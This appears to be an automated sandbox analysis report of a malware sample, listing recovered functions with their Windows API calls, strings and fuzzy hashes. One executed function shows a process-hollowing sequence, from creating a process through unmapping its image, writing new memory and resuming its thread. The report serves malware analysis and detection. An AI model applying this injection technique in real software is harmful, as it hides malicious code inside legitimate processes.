API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SUwX12D2S6.exePID: 7376, Parent PID: 7276COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05DE0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05DE0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05DE016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05DE0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05DE0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05DE0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05DE029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DE02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05DE02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05DE0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05DE032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05DE0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DE03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05DE03E1
ResumeThread.KERNELBASE(00000000), ref: 05DE03ED
ExitProcess.KERNEL32(00000000), ref: 05DE0412

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 3c99eb84f86120d0ddbb557018f858e2931c5134906ed2288405bf6991fe53f6
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: B4B1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05DE0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05DE0533

Strings

0, xrefs: 05DE0492
mfoaskdfnoa, xrefs: 05DE0520, 05DE0523
saodkfnosa9uin, xrefs: 05DE04DA
d, xrefs: 05DE0584

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 1ce609e0e41bfe1c81493749e96be1060084855a3b50d4e3ffb1914e6189cbb6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 7D511670D08388DAEB11DBA8C849BADBFB2AF11708F144059D5446F2C6C3FA5659CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DE05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05DE05EC

Strings

o, xrefs: 05DE0600
apfHQ, xrefs: 05DE05E2, 05DE05E5

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c9f7ed62a2051b937cea3a2eb9965a7b660bc0e3c873b3c1fa783b65a0c88571
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 66011E70C0424CEBDB11EB98C5183AEBFB5AF41308F14809DC4492B241D7B69B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0442E7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0442E7EE
Module32First.KERNEL32(00000000,00000224), ref: 0442E80E

Memory Dump Source

Source File: 00000003.00000002.1701561007.000000000442E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0442E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_442e000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0e4213154e0160d28a358af91ac795c224eff52355fddb646ba15b4b745dd74d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 67F096312007206FDB203FF5AD8DB6FB6E8AF89725F64052AF682925C0DB70F8458661

Uniqueness

Uniqueness Score: -1.00%

Function 0442E485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0442E4D6

Memory Dump Source

Source File: 00000003.00000002.1701561007.000000000442E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0442E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_442e000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 81ee2578f96024177637a9ebe59f9e1559d65082a5b581de7ac50245a0ae9adb
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: ED113F79A00208EFDB01DF98CA85E99BFF5AF08350F558095F9489B361D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E06437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E0644E

Part of subcall function 05E09636: __calloc_impl.LIBCMT ref: 05E09645

__calloc_crt.LIBCMT ref: 05E06472
_free.LIBCMT ref: 05E06480
__calloc_crt.LIBCMT ref: 05E0648E
_free.LIBCMT ref: 05E0649E
_free.LIBCMT ref: 05E064A4
__copytlocinfo_nolock.LIBCMT ref: 05E064B3
__setmbcp_nolock.LIBCMT ref: 05E064D4
_free.LIBCMT ref: 05E064E2
___removelocaleref.LIBCMT ref: 05E064E9
___freetlocinfo.LIBCMT ref: 05E064F0
_free.LIBCMT ref: 05E064F6

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 2c9afba62720c09a83e795a5cb0fe5c198e1a1a58a7a74963dcc1fcedd2ac193
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: BD21D131204201AEEB257FA5EC09E5B7BE5FF41764B50B429F4C6590E1EA2285E0CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05E03F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E03F51

Part of subcall function 05E05BA8: __getptd_noexit.LIBCMT ref: 05E05BA8

__gmtime64_s.LIBCMT ref: 05E03FEA
__gmtime64_s.LIBCMT ref: 05E04020
__gmtime64_s.LIBCMT ref: 05E0403D
__allrem.LIBCMT ref: 05E04093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E040AF
__allrem.LIBCMT ref: 05E040C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E040E4
__allrem.LIBCMT ref: 05E040FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E04119
__invoke_watson.LIBCMT ref: 05E0418A

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: c372855331b8ab95c6863110082e03b2b845246da20cf61dbba51b75361f4471
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 7871F971B00716ABEB249E79CD45BAAB3B9BF04324F147539F994D72C0E770D9808790

Uniqueness

Uniqueness Score: -1.00%

Function 05E0650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E06547
__calloc_crt.LIBCMT ref: 05E06598
__lock.LIBCMT ref: 05E065AE
__copytlocinfo_nolock.LIBCMT ref: 05E065BF
_wcscmp.LIBCMT ref: 05E065F9
__lock.LIBCMT ref: 05E06610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E06622
___removelocaleref.LIBCMT ref: 05E06628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E06647

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 28515901f672e698395d769db16ab65f78d472ffffe58d1e62fa0d1b7aaed74b
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 5B413432A04308AFEB00AFA4ED88B9E3BE5FF04314F107429E985961D1DB7596D5DB11

Uniqueness

Uniqueness Score: -1.00%

Function 05E084AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E084B1
_free.LIBCMT ref: 05E084E2
_free.LIBCMT ref: 05E084F5
_free.LIBCMT ref: 05E08513
_free.LIBCMT ref: 05E08525
_free.LIBCMT ref: 05E08536
_free.LIBCMT ref: 05E08541
_free.LIBCMT ref: 05E08565
_free.LIBCMT ref: 05E08581
_free.LIBCMT ref: 05E08597
_free.LIBCMT ref: 05E085BF

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 758581b95a46b3ce6895d8c0cb87a876a75be6bb6a0d8a62e0114b1cb8e16811
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 4F31B431A08250DFDB255F94FC8485977B4FB14324704B62AE9C56B2E0CBB459C9EF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E2FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E2FC1F

Part of subcall function 05E1169C: std::exception::_Copy_str.LIBCMT ref: 05E116B5

__CxxThrowException@8.LIBCMT ref: 05E2FC34
std::exception::exception.LIBCMT ref: 05E2FC4D
__CxxThrowException@8.LIBCMT ref: 05E2FC62
std::regex_error::regex_error.LIBCPMT ref: 05E2FC74

Part of subcall function 05E2F914: std::exception::exception.LIBCMT ref: 05E2F92E

__CxxThrowException@8.LIBCMT ref: 05E2FC82
std::exception::exception.LIBCMT ref: 05E2FC9B
__CxxThrowException@8.LIBCMT ref: 05E2FCB0

Strings

leM, xrefs: 05E2FCA8

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 454c4714fede138269d25820db1d0d37397ca74f0921601a3e20edf733c97c6c
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 9D11FE79D0020DBBCF04FFA5D459CDEBB7CAA04344F40C566AD6597244EB74A348CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05DEF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05DEF01F

Part of subcall function 05E01602: __FF_MSGBANNER.LIBCMT ref: 05E01619
Part of subcall function 05E01602: __NMSG_WRITE.LIBCMT ref: 05E01620

_malloc.LIBCMT ref: 05DEF02B
_wprintf.LIBCMT ref: 05DEF03E
_free.LIBCMT ref: 05DEF044
_free.LIBCMT ref: 05DEF065
_malloc.LIBCMT ref: 05DEF06D
_sprintf.LIBCMT ref: 05DEF0C0
_wprintf.LIBCMT ref: 05DEF0D2
_wprintf.LIBCMT ref: 05DEF0DC
_free.LIBCMT ref: 05DEF0E5

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: b642e6f8a6446d392e99a3d1fdb70132359ec6d30dac76b27221a7b3a505870a
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 021127B66005506AC66273F45C19FFF3BEC9F45311F0410AAFACCE51C0DA185A4493B1

Uniqueness

Uniqueness Score: -1.00%

Function 05DF1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DF19C6
__CxxThrowException@8.LIBCMT ref: 05DF19F1
__CxxThrowException@8.LIBCMT ref: 05DF1A1A
__CxxThrowException@8.LIBCMT ref: 05DF1A4B
_memset.LIBCMT ref: 05DF1A6A
__CxxThrowException@8.LIBCMT ref: 05DF1A90
_malloc.LIBCMT ref: 05DF1AA0
_memset.LIBCMT ref: 05DF1AAB
_sprintf.LIBCMT ref: 05DF1ACE

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: d523b213369d1382de1afb4d7661f845466876610e61dfb4781f1b7d0e1be91b
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 84514A71E40219EBDB11DBE5DC89FAFBBB8FB04744F100026FA45B6180EB745A01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DEF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DEF284
__CxxThrowException@8.LIBCMT ref: 05DEF2AF
__CxxThrowException@8.LIBCMT ref: 05DEF2DE
__CxxThrowException@8.LIBCMT ref: 05DEF30F
_memset.LIBCMT ref: 05DEF32E
__CxxThrowException@8.LIBCMT ref: 05DEF354
_sprintf.LIBCMT ref: 05DEF373

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: a07a8e7375f1c08008b9d851ff36896b16a8910c8bd463044ec8209c8e4f5c98
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 4A5151B1E40209EADF11DFA1DC4AFEEBBB9FB04704F105026F945B6180D775AA05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DEF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DEF4B7
__CxxThrowException@8.LIBCMT ref: 05DEF4E2
__CxxThrowException@8.LIBCMT ref: 05DEF504
__CxxThrowException@8.LIBCMT ref: 05DEF535
_memset.LIBCMT ref: 05DEF554
__CxxThrowException@8.LIBCMT ref: 05DEF57A
_sprintf.LIBCMT ref: 05DEF594

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 11454a73af5114d405516201c9cfc12122e084f3df07588f84b0561272ef1210
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 4E516371E40209AADF11DFA1DC85FFFBBB8FB04744F10412AF945B6180DA74AA05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E2208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E220C6
__invoke_watson.LIBCMT ref: 05E22120
_strlen.LIBCMT ref: 05E220D4

Part of subcall function 05E05BA8: __getptd_noexit.LIBCMT ref: 05E05BA8

_strnlen.LIBCMT ref: 05E2215F
__lock.LIBCMT ref: 05E22170
__getenv_helper_nolock.LIBCMT ref: 05E2217B

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 12cb22df7922e0ed15aa8d009795c082cd77ac52b1e75db947d9f6000603d054
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A6310836B043316BEB217F658C08FAE7755AF05B24F147015EB85DB2C8DB74998186A2

Uniqueness

Uniqueness Score: -1.00%

Function 05DF2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DF26DB
_memset.LIBCMT ref: 05DF2A30
_memset.LIBCMT ref: 05DF2AC0

Strings

D, xrefs: 05DF2AC8

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 903447c62e365962114c64be5f424243c21a21d6cb7906850a4327d6e2cf3d0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 81E15D75D40219EBCF24DBA0DD49FEEB7B8BF04304F14406AE609B6190EB74AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05DED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DED8EA

Strings

(, xrefs: 05DEDAE9
, xrefs: 05DEDADB
$, xrefs: 05DEDAE2

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 536adda3835efb141411ff40181541e98132b68629be5dea671f42aa96cbae39
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: E491BF71D00218EBEF21EFA0CC59BEEBBB5AF05304F14416AD515772C0DBB65A88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05DFA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DFA858
_memset.LIBCMT ref: 05DFA869
_memset.LIBCMT ref: 05DFA87A

Strings

p2Q, xrefs: 05DFA882

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 08b067ffaf8f842dfb2eb39190dd65c6b6be97f1aa309e85500c3bcb7a925abf
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 61F0ED78698751A5F7217750BC2AB897E917B31B08F105088E1582E2E1D3FD238DA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05E2FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E2FBF1

Part of subcall function 05E1169C: std::exception::_Copy_str.LIBCMT ref: 05E116B5

__CxxThrowException@8.LIBCMT ref: 05E2FC06

Strings

TeM, xrefs: 05E2FBE7, 05E2FBFB
TeM, xrefs: 05E2FBFE

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 6c37015a6bd94fc20c2d192dd6d2c7548c98d6958e8416df91fd2f4f41ebc1c6
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 83D06775D0020CBBCB04EFA5D459CDDBBB8AA04344B00C466AE5597245EA74A349CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05DED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E0197D: __wfsopen.LIBCMT ref: 05E01988

_fgetws.LIBCMT ref: 05DED15C

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: b5d300ffe4ee1e9d8c7f78ec1ae3ee1ab83168f0cfc790b9bff96a8d2c818e13
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 8A918271D00319ABCF21FFA4CD45BAEB7F6BF04214F14052ED855A7280EB75AA44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05DED77E
_malloc.LIBCMT ref: 05DED7B2
_malloc.LIBCMT ref: 05DED7C1
_fprintf.LIBCMT ref: 05DED815

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 27f813a24b3dd596555698c3446bb58e5d0b6c93ca4c831612e857206e0c52a0
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 59A18DB1D00248EBEF11EFA4CC4EBDEBBB1AF14304F141029D5457B291D7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E02AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E02B2E
__read_nolock.LIBCMT ref: 05E02BFE
__filbuf.LIBCMT ref: 05E02C21
_memset.LIBCMT ref: 05E02C65

